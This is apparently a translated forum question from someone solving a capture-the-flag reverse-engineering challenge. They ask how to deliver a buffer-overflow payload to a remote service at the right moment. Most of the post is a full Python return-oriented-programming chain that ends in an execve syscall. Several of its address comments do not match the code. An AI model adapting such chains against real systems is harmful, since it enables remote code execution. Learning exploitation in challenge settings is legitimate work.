远程代码执行攻击:延迟对Web应用程序的二进制输入

2024-07-07 07:17:27 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在研究渗透测试/漏洞利用,最近一直致力于逆向工程挑战。对于挑战,有一个远程应用程序,我通过端口2888连接到它(我使用netcat执行以下命令):

nc xxx.xxx.x.xx 2888

然后,我收到一个提示,要求我输入输入,然后“加密”并返回给我。在

challenge提供了一个ELF二进制文件,声称它反映了Internet连接版本的功能。我花了很多时间分析这个二进制文件,发现了一个典型的缓冲区溢出漏洞。我很确定服务器已经启用了ASLR和DEP,所以我使用了面向返回的编程来开发一个允许我执行命令的ROP链。(我会把这个贴在问题的底部)

我只需执行以下命令即可赢得挑战:

^{pr2}$

然后,服务器应该给我发送标志。我已经配置了我的ROP链来启动一个包含上述命令的execve命令。在

出于测试目的,我在一个VM中运行二进制文件,然后通过管道将我的ROP链(用python生成)导入VM上的2888端口。在

python ./ropchain.py | nc localipaddress 2888

我将命令改为/bin/echo以查看我是否正确地利用了漏洞,而且它肯定会回显我的电子邮件地址。另外,当我搜索本地二进制文件时,execve拥有我期望的所有输入。在

但是,当我像上面那样尝试将我的ROP链导入实时服务器时,它会在应用程序准备就绪之前将输入写入stdin,并且该漏洞攻击不起作用。(我没有收到电子邮件)。我用Wireshark分析了我的两个命令,当我连接到实时服务器时,我得到了一个FIN/ACK包。在

我的问题是,如何将组成ROP链的打包地址和这样的地址写入远程应用程序,但要等到它准备好输入时再写呢?我这样做对吗?在

我将包括我的ROP链以及参考。谢谢您!!在

下面是ROP链条。如果您想知道为什么有些地址是关闭的,这是因为程序接受输入并将所有ASCI字符移位13个空格。在

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
import sys

p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000400000 # ./reverse
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

#padding
rop = 'N' * 24

rop += rebase_0(0x00000000000010fb) # 0x00000000004010fb: pop r13; ret; 
rop += '///////b'
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c160) # data section: 0x00000000006ac160
rop += rebase_0(0x0000000000105e0a) # 0x0000000000435e0a: mov qword ptr [rdi], r13; xor eax, eax; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)

rop += rebase_0(0x00000000000010fb) # 0x00000000004010fb: pop r13; ret; 
rop += 'in/flag\0'
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c175) # data section: 0x00000000002ac168
rop += rebase_0(0x0000000000105e0a) # 0x0000000000435e0a: mov qword ptr [rdi], r13; xor eax, eax; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret; 
rop += 'example@'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c163) # data section: 0x00000000006ac170
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += 'yahooooo'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret; 
rop += rebase_0(0x000000000037c16B) # data section: 0x00000000006ac178
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += '.com\0\0\0\0'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret; 
rop += rebase_0(0x000000000037c180) # data section: 0x00000000006ac180
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Put a pointer to the command /bin/echo into the rdi register
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c160) # data section: 0x00000000002ac160

#Write the email string to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += rebase_0(0x000000000037c163) # data section: 0x00000000006ac170
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c190) # data section: 0x00000000006ac190
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Write NULL bytes to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += p(0x0000000000000000)        # NULL
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c198) # data section: 0x00000000006ac198
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Write ///////b  to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += rebase_0(0x000000000037c160) # data section: 0x00000000006ac160
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c188) # data section: 0x00000000006ac188
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Set the rdx register to NULL
rop += rebase_0(0x00000000000ea948) # 0x000000000041a955: pop rdx; ret;
rop += p(0x0000000000000000) 

#Set the rax register to the value for execve()
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret; 
rop += p(0x000000000000003b)

#Make the syscall
rop += rebase_0(0x00000000001234e5) # 0x00000000004534e5: syscall; ret;
rop += '\x90' * 400
print rop

Tags: the命令datasectionrebasepopraxmov